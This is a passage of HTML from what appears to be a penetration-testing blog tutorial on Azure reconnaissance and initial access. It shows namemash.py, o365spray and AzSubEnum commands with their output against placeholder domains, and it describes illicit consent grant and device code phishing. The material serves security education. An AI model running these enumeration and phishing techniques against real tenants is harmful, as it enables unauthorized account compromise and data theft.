&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Knowing their names may also allow attackers to target code repositories and forum profiles of employees to uncover exposed sensitive data, or to search for leaked credentials that could still be used to authenticate to target services.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;After identifying employee names, the next step is to figure out the proper SignInName format. Most organizations use a standard convention for all employees, such as &lt;em&gt;FirstName.LastName &lt;/em&gt;&lt;span style="font-style: normal;"&gt;(john.doe@company.com) &lt;/span&gt;or &lt;em&gt;FirstInitialLastName &lt;/em&gt;&lt;span style="font-style: normal;"&gt;(jdoe@company.com)&lt;/span&gt;. Attackers can utilize open-source tools such as &lt;a href="https://gist.github.com/superkojiman/11076951"&gt;namemash.py&lt;/a&gt; to generate multiple SignInName variations based on common conventions, after providing the full name of one or multiple employees, as shown in the example below:&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools\o365spray&amp;gt; type .\names.txt&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;Marios Pappas&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools\o365spray&amp;gt; python.exe .\namemash.py .\names.txt&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;mariospappas&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;pappasmarios&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;marios.pappas&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;pappas.marios&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;pappasm&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;mpappas&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;pmarios&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;m.pappas&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;p.marios&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;marios&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;pappas&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Attackers then can use tools such as &lt;a href="https://github.com/0xZDH/o365spray"&gt;o365spray&lt;/a&gt; to identify valid users in the target tenant.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools\o365spray&amp;gt; python.exe .\o365spray.py --enum -U .\signinnames.txt -d target.org&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *** O365 Spray ***&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;gt;----------------------------------------&amp;lt;&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; version &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: &amp;nbsp;3.0.4&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; domain &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;target.org&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; enum &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;True&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; userfile &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;.\signinnames.txt&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; validate_module: &amp;nbsp;getuserrealm&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; enum_module &amp;nbsp; &amp;nbsp;: &amp;nbsp;oauth2&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; rate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;10 threads&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; poolsize &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;10000&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: &amp;nbsp;25 seconds&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;gt; start &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: &amp;nbsp;2024-08-20 21:00:47&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&amp;gt;----------------------------------------&amp;lt;&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[2024-08-20 21:00:47,982] info | Validating: target.org&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #93c47d;"&gt;&lt;code&gt;&lt;span style="color: #93c47d;"&gt;[2024-08-20 21:00:49,480] info | [VALID] The following domain appears to be using O365: target.org&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[2024-08-20 21:00:49,489] info | Running user enumeration against 11 potential users&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[2024-08-20 21:00:51,035] info | [VALID] mpappas@target.org&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;The functionality of those tools is based on probing Azure login pages and provides attackers with a method to determine whether a username exists or not based on error messages (e.g., "invalid username" vs. "incorrect password"). It's worth noting that Microsoft can sometimes change the errors codes that it returns, leading to certain techniques in user enumeration tools becoming less reliable until they are updated to use the current error codes.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;h4&gt;Application enumeration&lt;/h4&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Application enumeration involves identifying and gathering information about applications hosted in Azure App Services (such as Function and Web Apps) or applications hosted on other Azure resources such as virtual machines. Attackers can probe Azure endpoints to discover such services using tools such as &lt;a href="https://github.com/yuyudhn/AzSubEnum"&gt;AzSubEnum&lt;/a&gt;. It should be noted that we would need to verify company ownership of any identified resources, as it is not guaranteed that they belong to the target company.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools\AzSubEnum&amp;gt; python.exe .\azsubenum.py -b targetcorp -p .\permutations.txt -t 15&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;Discovered Subdomains:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;Storage Accounts - Queues:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;------------------------------------------------&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp.queue.core.windows.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp.queue.core.windows.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;Storage Accounts - Blobs:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;-----------------------------------------------&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp.blob.core.windows.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp.blob.core.windows.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;App Services - Management:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;-----------------------------------------------&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp-portal.scm.azurewebsites.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp-hr.scm.azurewebsites.net&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;App Services:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;-------------------------------------------&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;targetcorp-portal.azurewebsites.net&lt;br&gt;targetcorp-hr.azurewebsites.net&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Common &lt;/span&gt;&lt;span&gt;Azure &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;initial access &lt;/span&gt;&lt;span&gt;methods&amp;nbsp;&lt;/span&gt;&lt;/h2&gt; 
&lt;p&gt;&lt;span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;The diagram below serves as a quick reference for common ways to gain access to an Azure tenant from a non-credentialed starting point.&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-08-25-11-4451-PM.png?width=1920&amp;amp;height=732&amp;amp;name=image-png-Oct-21-2024-08-25-11-4451-PM.png" width="1920" height="732"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h2&gt;&lt;br&gt;Employee phishing &#x1f3a3;&lt;/h2&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Employees are often considered the weakest link in cybersecurity due to being susceptible to social engineering attacks. End users can be tricked through various means into divulging sensitive information. However, our focus here is on credential theft.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;h4&gt;Illicit consent grant&lt;/h4&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting that application consent to access their data either through a phishing attack, or by injecting illicit code into a trusted website. After the illicit application is granted consent, it has access to data in the privileged context of the targeted user. Note that if the user doesn't have permissions to access a specific resource, even if the malicious application defines it they will not get access.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Threat actors can register a custom domain in their own Azure tenant, create a multi-tenant application in it, and then use a subdomain that matches the target organization's domain &lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;to host this malicious application. This fake application should mimic a legitimate service that the target user interacts with on a regular basis. Threat actors commonly use website cloners to achieve that.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;The attacker will then initiate a phishing campaign, sending emails or messages to potential victims, inviting them to log in or to authorize the malicious application. When users click on the phishing link, they are redirected to the attacker's malicious application, which presents an OAuth consent screen that looks legitimate. The screen requests permissions similar to those of the genuine application. Once consent is granted, the attacker receives an access token, which allows them to access the user’s resources, such as files, contacts, or other sensitive information.&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-08-22-39-7330-PM.png?width=1224&amp;amp;height=670&amp;amp;name=image-png-Oct-21-2024-08-22-39-7330-PM.png" width="1224" height="670"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Applications asking for too many permissions, especially ones that don’t align with their intended purpose should raise red flags to employees and security teams, and warn them of possible illicit grant content attacks targeting them. However, we know that this is unrealistic to expect end users to be this vigilant all the time. Common Microsoft Graph permissions used by such fake applications include:&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;User Profile Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; font-size: 20px;"&gt;&lt;code&gt;User.Read&lt;/code&gt;&lt;/span&gt;: Sign in and read the user’s profile.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;User.ReadBasic.All&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;: Read the basic profiles of all users.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;User.Read.All&lt;/code&gt;&lt;/span&gt;: Read all users' full profiles.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;User.ReadWrite.All&lt;/code&gt;&lt;/span&gt;: Read and write all users' profiles.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Contacts Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Contacts.Read&lt;/span&gt;&lt;/code&gt;: Read the signed-in user’s contacts.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Contacts.ReadWrite&lt;/span&gt;&lt;/code&gt;: Read and write the signed-in user’s contacts.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Contacts.Read.All&lt;/span&gt;&lt;/code&gt;: Read all users' contacts.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Contacts.ReadWrite.All&lt;/span&gt;&lt;/code&gt;: Read and write all users' contacts.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Mail Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Mail.Read&lt;/code&gt;&lt;/span&gt;: Read the signed-in user's mail.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Mail.ReadWrite&lt;/span&gt;&lt;/code&gt;: Read and write the signed-in user's mail.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Mail.Send&lt;/code&gt;&lt;/span&gt;: Send mail as the signed-in user.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Mail.Read.All&lt;/code&gt;&lt;/span&gt;: Read all users' mail.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Mail.ReadWrite.All&lt;/code&gt;&lt;/span&gt;: Read and write all users' mail.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Calendar Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Calendars.Read&lt;/code&gt;&lt;/span&gt;: Read the signed-in user’s calendar.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Calendars.ReadWrite&lt;/span&gt;&lt;/code&gt;: Read and write the signed-in user’s calendar.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Calendars.Read.Shared&lt;/code&gt;&lt;/span&gt;: Read shared calendars.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Calendars.ReadWrite.Shared&lt;/code&gt;&lt;/span&gt;: Read and write shared calendars.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Calendars.Read.All&lt;/code&gt;&lt;/span&gt;: Read all users' calendars.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Files and OneDrive Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Files.Read&lt;/code&gt;&lt;/span&gt;: Read the signed-in user’s files.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Files.ReadWrite&lt;/code&gt;&lt;/span&gt;: Read and write the signed-in user’s files.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Files.Read.All&lt;/span&gt;&lt;/code&gt;: Read all users' files.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Files.ReadWrite.All&lt;/code&gt;&lt;/span&gt;: Read and write all users' files.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Social Media Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Notes.Read&lt;/code&gt;&lt;/span&gt;: Read the signed-in user’s OneNote notebooks.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Notes.ReadWrite&lt;/code&gt;&lt;/span&gt;: Read and write the signed-in user’s OneNote notebooks.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Notes.Read.All&lt;/span&gt;&lt;/code&gt;: Read all users' OneNote notebooks.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Directory Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Directory.Read.All&lt;/span&gt;&lt;/code&gt;: Read data in your organization's directory.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Directory.ReadWrite.All&lt;/span&gt;&lt;/code&gt;: Read and write data in your organization's directory.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Group.Read.All&lt;/span&gt;&lt;/code&gt;: Read all groups in your organization.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Group.ReadWrite.All&lt;/code&gt;&lt;/span&gt;: Read and write all groups in your organization.&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;strong&gt;Device Permissions&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;Device.Read.All&lt;/span&gt;&lt;/code&gt;: Read all device information in your organization.&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Device.ReadWrite.All&lt;/code&gt;&lt;/span&gt;: Read and write device information in your organization.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;h4&gt;&lt;br&gt;Device code phishing attack&lt;/h4&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;One of the authentication flows of OAuth &lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;is the "device authorization grant". This specific flow is intended to allow input-constrained devices, such as headless terminals, smart TVs and printers to be authorized to Azure. Users are given a unique code and a link to visit a webpage in a browser or on a &lt;span style="font-weight: normal;"&gt;second device&lt;/span&gt; to enter the code to approve the login session on the first device.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-20-2024-07-07-45-8677-AM.png?width=2284&amp;amp;height=228&amp;amp;name=image-png-Oct-20-2024-07-07-45-8677-AM.png" width="2284" height="228"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;This authorization flow can be seen in the diagram below.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-09-00-21-3037-PM.png?width=2420&amp;amp;height=1532&amp;amp;name=image-png-Oct-21-2024-09-00-21-3037-PM.png" width="2420" height="1532"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;A threat actor can leverage this method to execute a phishing attack on a target by persuading them to visit their authentication provider's website and input a code provided by the attacker, thus granting access to their account.&amp;nbsp;&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-08-07-52-8129-PM.png?width=2050&amp;amp;height=846&amp;amp;name=image-png-Oct-21-2024-08-07-52-8129-PM.png" width="2050" height="846"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;An important aspect to keep in mind with device code phishing is that &lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;device codes expire after 15 minutes, so attackers need to successfully carry out their phishing campaign during that window of opportunity.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h4&gt;&lt;span&gt;Email phishing attacks&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/h4&gt; 
